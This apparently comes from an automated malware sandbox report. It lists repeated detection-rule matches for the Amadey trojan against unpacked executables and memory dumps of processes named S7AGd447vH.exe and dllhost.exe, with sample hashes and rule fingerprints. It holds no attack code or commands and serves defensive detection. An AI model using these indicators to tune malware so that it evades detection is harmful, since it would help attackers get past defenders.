Source: 1.3.dllhost.exe.2204848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.914800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.914800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22244848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22244848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2243e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2243e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.604800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.604800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2224848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2224848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.604800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.604800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22283e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22283e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.634800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.634800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.2.S7AGd447vH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.2.S7AGd447vH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2263e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2263e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.914800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.914800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2263e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2263e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.634800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.634800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2243e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2243e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2204848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 1.3.dllhost.exe.2204848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2224848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0.3.S7AGd447vH.exe.2224848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.2.dllhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.2.dllhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22283e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22283e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22244848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 7.3.dllhost.exe.22244848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a reference_sample = 9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c, id = c4df8d4a-01f4-466f-8225-7c7f462b29e7, last_modified = 2021-08-23
Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
